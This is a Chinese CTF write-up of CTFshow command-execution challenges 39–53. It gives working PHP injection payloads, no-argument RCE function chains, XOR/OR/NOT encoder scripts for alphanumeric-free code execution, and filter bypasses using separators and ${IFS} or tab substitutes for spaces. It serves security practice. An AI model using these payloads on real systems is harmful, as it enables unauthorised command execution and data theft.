当前位置: 首页 > article >正文

CTFSHOW-WEB入门-命令执行39-53

  1. 题目:web 39
    1. 题目:
    2. 解题思路:分析代码可以知道题目要求get一个c的参数,并且·过滤了flag,大小写均过滤,于是可以想到使用?或者*通配符绕过。这里有include函数,由于include是个漏洞函数,并且只会解析<?php?>中的内容,?>相当于是PHP的结束符,后面的.php相当于被注释掉了,于是构造payload:?c=data://text/plain,<?php system('cat f*');?>;可以得到flag:flag:
    3. 知识点:data伪协议的利用:注意,后面接拼接的这种最好不要使用base64加密,(多次尝试无果)
  2. 题目:web 40-----无参数rce
    1. 题目:
    2. 解题思路:初看题目,发现过滤了很多东西不知道从何下手,先分析·一下代码,参数c过滤的东西有:
      • 数字0-9 波浪线~ 反引号`` @符号 #符号
      • 美元符号$(注意这里使用了双反斜杠\\来转义单反斜杠)
      • 和号& 星号* 全角左括号 全角右括号-----中文括号
      • 减号- 等号= 加号+ 左大括号{ 左方括号[ 右方括号] 右大括号}
      • 冒号: 单引号' 百分号% 脱字符^
      • 双引号" 逗号, 小于号< 点号. 大于号> 斜杠/
      • 问号? 反斜杠\(这里用了四个反斜杠\\\\来转义)
    3. 注意:这里过滤的是中文的括号,说明英文的括号还可以用。看了大佬的wp,了解到一个东西—无参数rce,首先介绍一下无参数rce是什么?无参数是指不需要有参数的函数,通过多个函数套娃调用,得到自己想要的结果。
    4. 这里我们查看当前目录:c=highlight_file(array_rand(array_flip(scandir(getcwd())))); payload解析:最内层得到当前工作目录并且返回,然后又通过scandir返回当前目录构成的数组,由于以数组的形式返回,键默为数字,值为目录名,要获得目录名,就要反转键和值的值,因此使用array_filp,反转键值,由于目录可能不止一个,因此数组中键值对也不止一个,这里使用array_rand() 随机从数组中取出一个值,在使用highlight_file进行高亮显示得到:
    5. 得到flag:
    6. 知识点:无参数rce使用到的函数汇总:
scandir() //返回当前目录构成的数组
localeconv() //一个数组,第一个值为.,很重要
getcwd() //获取当前工作的目录,无需参数
dirname() //获取某文件工作的目录
array_flip() //交换数组的键和值,返回交换后的数组
array_rand() //随机从数组中取出一个值
array_reverse() //将数组内容翻转
strrev() //翻转字符串
chdir() //改变工作目录
eval();assert();system() //命令执行
highlight_file();show_source();readfile() //读文件
在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.
end() //指向最后一个元素并返回
reset() //指向第一个元素并返回
next() //指向下一个元素并返回
prev() //指向上一个元素并返回
current() //指向当前元素并返回
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位,查看和读取根目录文件
  1. 题目:web 41—无数字字母rce
    1. 题目:
    2. 解题思路:首先分析代码,可知参数过滤了: 任何数字(0-9)、小写字母(a-z)、以及一系列特殊字符(^、+、~、、[、]、{、}、&、-),作为一个新手,看到这个仍然没有任何思路,查阅大佬的wp,有了解了无数字字母rce这个新奇玩意无数字字母rce就是过滤了数字字母的命令执行问题。先看一下无数字字母rce的原理:由于过滤了数字字母,于是就要想着不使用数字字母进行命令执行,常见的几种绕过方法:
      1. 异或:PHP中的异或是现将两个字符转换为ASCII码值,转换为二进制,然后再进行异或运算,运算规则是 相同的为零,不同为1,也就是:1^0=1 1^1=0 0^0=0,举个栗子:大家知道A的ASCII码值是65,二进制为01000001, 可以通过其他字符的ASCII码值按位异或出来,异或脚本:(根据题目的这个正则表达式生成各个字符对应的异或绕过编码)
<?php

  /*author yu22x*/

  $myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
  for ($j=0; $j <256 ; $j++) { 

    if($i<16){
      $hex_i='0'.dechex($i);
    }
    else{
      $hex_i=dechex($i);
    }
    if($j<16){
      $hex_j='0'.dechex($j);
    }
    else{
      $hex_j=dechex($j);
    }
    $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
    }

    else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)^urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
        $contents=$contents.$c." ".$a." ".$b."\n";
      }
    }

  }
}
fwrite($myfile,$contents);
fclose($myfile);

使用py脚本构造payload:

from sys import *

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))
    2. 或:与异或的思路差不多L:或的脚本:
<?php

  /* author yu22x */

  $myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
  for ($j=0; $j <256 ; $j++) { 

    if($i<16){
      $hex_i='0'.dechex($i);
    }
    else{
      $hex_i=dechex($i);
    }
    if($j<16){
      $hex_j='0'.dechex($j);
    }
    else{
      $hex_j=dechex($j);
    }
    $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
    }

    else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)|urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
        $contents=$contents.$c." ".$a." ".$b."\n";
      }
    }

  }
}
fwrite($myfile,$contents);
fclose($myfile);

    3. 取反: 因为取反的话,基本上用的都是一个不可见字符,所有不会触发到[正则表达式](https://so.csdn.net/so/search?q=%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020),我们一个php脚本就可以了  : php可以对汉字取反获得乱码,但大多数会包含一个字母  
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

    4. 临时文件上传:还没学到,后面补充
    5. 自增:还没学到,后面补充
3. 知识点:无字母数字rce
  1. 题目:web 42
    1. 题目:
    2. 解题思路:可以看到本题是一个命令执行问题,仅仅在参数c后面添加了一串字符串,他的作用是:>/dev/null 2>&1 使得所有输出都无法回显,于是采用分隔符绕过,?c=ls; c=cat f*;分号换为||也可
    3. 知识点:重定向输出:>/dev/null 2>&1绕过方法: ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
">/dev/null 2>&1 "是什么意思
在Linux中:
0:表示键盘输入(stdin)
1:表示标准输出(stdout),系统默认是1
2:表示错误输出(stderr)
shell命令:command >/dev/null 2>&1 & 等同于 command 1>/dev/null 2>&1 &
1)command:表示shell命令或一个可执行的程序
2)>:表示重定向到
3)/dev/null:表示Linux的空设备文件
4)2:表示标准错误输出
5)&1:&表示等同于的意思,2>&1,表示2的输出重定向等同于1的重定向
6)&:表示后台执行这条指令
1>/dev/null:表示标准输出重定向到空设备文件,即不输出任何信息到终端。
2>&1:表示错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以错误输出也重定向到空设备文件。
上述例子中的shell命令的意思就是在后台执行这个程序,并将错误输出2重定向到标准输出1,然后将标准输出1全部放到/dev/null文件,也就是清空.(shell命令:command >/dev/null 2>&1 & 等同于 command 1>/dev/null 2>&1 &" >/dev/null 2>&1 "常用来避免shell命令或者程序等运行中有内容输出。
  1. 题目:web 43
    1. 题目:
    2. 解题思路:这道题跟上一道题多过滤了分号和cat,我们可以使用||,同样可以执行前面的命令,cat可以换为tac:查看flag:
    3. 知识点:分隔符绕过重定向符
  2. 题目:web 44
    1. 题目:
    2. 解题思路:与上题类似,使用cat替代命令tac flag替代表示:f* 分隔符用||
  3. 题目:web 45
    1. 题目:
    2. 解题思路:相较于上题目多了个绕过空格:于是使用空格替代: ${IFS}
    3. 知识点:空格绕过的几种方法:
<1>${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

<2>${IFS}$9#$9可改成$加其他数字。
  $IFS也可以

<3>{cat,flag.php},用,实现了空格;指令中的{}通配符,shell会先把{}的内容按照解释方式翻译成一个或多个参数,再执行该含有多参数的指令。在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,如{mv,文件1,文件2}<4><,输入重定向,将一个文件的内容作为命令的输入。

<5><>,重定向符

<6>%20,代表空格字符,URL传递

<7>%09,tab键,URL传递

<8>%0a,代表换行符

<9>%0c,换页符

<10>%0d,回车换行

<11>%a0,代表的是非断行空格

<12>%00%00代表的是ASCII码中的空字符
  1. 题目:web 46
    1. 题目:
    2. 解题思路:相较于上一题,空格的过滤更加严格,过滤了$ * 和数字,于是尝试另几种方法,绕过空格:对于flag过滤了*,可以使用?或者’’ “”或者 \转义
      1. 使用%09 ?c=tac%09fla???||
      2. 使用< ?c=tac<fla\g.php||-----这里<(将文件 flag.php 的内容作为 tac 命令的输入,并反向显示文件内容 )和?同时使用不起作用,可以使用反斜杠转义
    3. 知识点:这里有一个需要注意的点:为什么 %09 没有被正则匹配检测到?09 不是数字吗?

注意:我们传入的 c=%09 是 URL 编码,在 URL 编码中,%09 表示 ASCII 编码中的水平制表符(Tab 键),而不是数字 ‘0’ 和 ‘9’。当服务器接收到请求时,它会对 URL 编码的参数进行解码,因此 c=%09 解析后会变成 c=\t,其中 \t 是水平制表符。

也就是说我们的正则匹配在 URL 解码之后才进行,所以不会被检测到。

  1. 题目:web 47

a. 题目:

b. 解题思路:分析题目发现比上一个题过滤了很多命令:more head sort tail less等命令但是tac仍然可以使用:仍然使用上题的payload:?c=tac<fla\g.php||:

c. 知识点:这里补充一下题目里面过滤的其他命令及其用法:

1. more
more命令用于分页显示文件的内容,可以逐屏查看文本文件。
用法:
more filename
特点:
使用空格键翻页,使用Enter键逐行查看。
按q退出。
2. head
head命令用于显示文件的开头部分,默认情况下显示前10行。
用法:
head filename
选项:
-n <num>:指定要显示的行数。
head -n 5 filename  # 显示前5行
3. sort
sort命令用于对文本文件中的行进行排序。可以按字典顺序、数值顺序等方式排序。
用法:
sort filename
选项:
-r:按降序排序。
-n:按数值排序。
-k <col>:按指定列排序。
sort -r filename            # 降序排序
sort -n filename             # 按数值排序
sort -k 2 filename           # 按第2列排序
4. tail
tail命令用于显示文件的尾部内容,默认情况下显示最后10行。
用法:
tail filename
选项:
-n <num>:指定要显示的行数。
tail -n 5 filename  # 显示最后5行
-f:实时跟踪文件的变化,适合观察日志文件。
tail -f filename  # 实时输出文件追加的内容
5. less
less命令用于分页查看文件,类似于more,但功能更强大。
用法:
less filename
特点:
支持向上和向下滚动,使用箭头键、Page Up、Page Down、g(去往开头)、G(去往结尾)等操作。
通过 / 进行搜索,按 n 移动到下一个匹配项。
按q退出。
6. nl
nl命令用于显示文件内容,同时为每一行添加行号。
nl filename
7. awk
awk是一种强大的文本处理工具,可以用于显示文件内容,也可以进行格式化显示。
awk '{print}' filename
8. sed
sed可以用来进行文本流编辑,使用情况下也可以用于显示文件。
sed '' filename
9. printf
在某些情况下,你可以结合printf命令使用。
printf "%s\n" $(<filename)
10. find和xargs
结合find和xargs命令可以处理一系列文件。
find . -name '*.txt' -print0 | xargs -0 cat
  1. 题目:web 48

a. 题目:

b. 解题思路:分析代码可以知道,本题又多过滤了sed cut awk strings od curl命令,但是仍然没有过滤tac,仍然使用上一题payload:c=tac<fla\g.php||:

c. 知识点:对新遇到的命令进行补充:

1. sed
sed 是一个流编辑器,通过对输入流进行处理生成输出。
基本语法:
sed [OPTION]... [SCRIPT] [INPUTFILE...]
示例:
替换字符串:
sed 's/old/new/g' filename
删除空行:
sed '/^$/d' filename
2. cut
cut 用于提取文本中指定的字段。
基本语法:
cut OPTION... [FILE...]
示例:
提取以逗号为分隔符的第二列:
cut -d ',' -f 2 filename
3. awk
awk 是一个强大的文本处理工具,可以进行复杂的数据操作。
基本语法:
awk [OPTION]... 'PROGRAM' [INPUTFILE...]
示例:
打印文件的第一和第三列:
awk '{print \$1, \$3}' filename
以逗号为分隔符打印第二列:
awk -F ',' '{print \$2}' filename
4. strings
strings 用于提取文件中的可打印字符串。
基本语法:
strings [OPTION]... [FILE...]
示例:
从二进制文件中提取可打印字符串:
strings mybinaryfile
5. od
od 用于以不同进制格式查看文件的内容。
基本语法:
od [OPTION]... [FILE...]
示例:
以十六进制格式查看文件内容:
od -t x1 filename
6. curl
curl 用于与服务器进行数据传输。
基本语法:
curl [OPTION] [URL...]
示例:
下载指定 URL 的内容:
curl http://example.com
下载文件并保存为本地文件:
curl -O http://example.com/file.zip
发送 POST 请求:
curl -d "param1=value1&param2=value2" http://example.com/api
  1. 题目:web 49

a. 题目:

b. 解题思路:分析代码可以知道,这题比上一题多过滤了反引号,百分号,也就是再对命令进行限制的同时也对空格进行了限制:于是我们使用tac 空格使用<> ?c=tac<>fla\g.php||

  1. 题目:web 50

a. 题目:

b. 解题思路:分析可知题目又多过滤了制表符和&符号,这里空格可以使用<>进行绕过,?c=tac<>fla\g.php||:

  1. 题目:web 51

a. 题目:

b. 解题思路:这道题比上一个多了tac命令过滤,于是就使用替代命令nl;构造payload:?c=nl<>fla\g.php:没有直接显示:查看源代码:

  1. 题目:web 52
    a. 题目:
    b. 解题思路:没有禁用 符号和 于是可以利用 符号和{}于是可以利用 符号和于是可以利用{IFS}过滤空格。构造payload:?c=nl${IFS}fla\g.php:发现有些小问题,查看一下目录:有flag.php但是没有我们想要的东西,于是查看根目录:发现还有flag:于是查看,得到flag:
  2. 题目:web 53
    a. 题目:
    b. 解题思路:题目过滤了很多东西,但是没有过滤引号和 , 因此使用 ,因此使用 ,因此使用{IFS}来绕过空格,使用引号来绕过cat ?c=ca’'t${IFS}fla\g.php:
    c. 知识点:空格绕过 反斜杆绕过

http://www.kler.cn/a/524646.html

相关文章:

  • vue3中customRef的用法以及使用场景
  • java——继承
  • 128周二复盘(164)学习任天堂
  • C# dataGridView1获取选中行的名字
  • RPC是什么?和HTTP区别?
  • 数据分析系列--③RapidMiner算子说明及数据预处理
  • 基于 WEB 开发的在线学习系统设计与开发
  • Ubuntu 16.04用APT安装MySQL
  • 掌握Java反射:在项目中高效应用反射机制
  • 价值交换到底在交换什么
  • 批量卸载fnm中已经安装的所有版本
  • 解决双系统引导问题:Ubuntu 启动时不显示 Windows 选项的处理方法
  • Redis学习之哨兵二
  • axios如何利用promise无痛刷新token
  • 计算机专业的多元就业方向
  • 基于 AWS SageMaker 对 DeepSeek-R1-Distilled-Llama-8B 模型的精调与实践
  • XCTF - IllIntentions wp
  • python实现一个完整的智能教室能耗监测与管理系统的实现方案
  • (2)SpringBoot自动装配原理简介
  • CSS语言的区块链
  • Vue 3 30天精进之旅:Day 08 - 组件通信
  • 锁升级过程与优化操作
  • 消息队列篇--通信协议篇--STOMP(STOMP特点、格式及示例,WebSocket上使用STOMP,消息队列上使用STOMP等)
  • 大屏 UI 设计风格的未来趋势
  • FreeRTOS从入门到精通 第十四章(队列集)
  • [NOI1995] 石子合并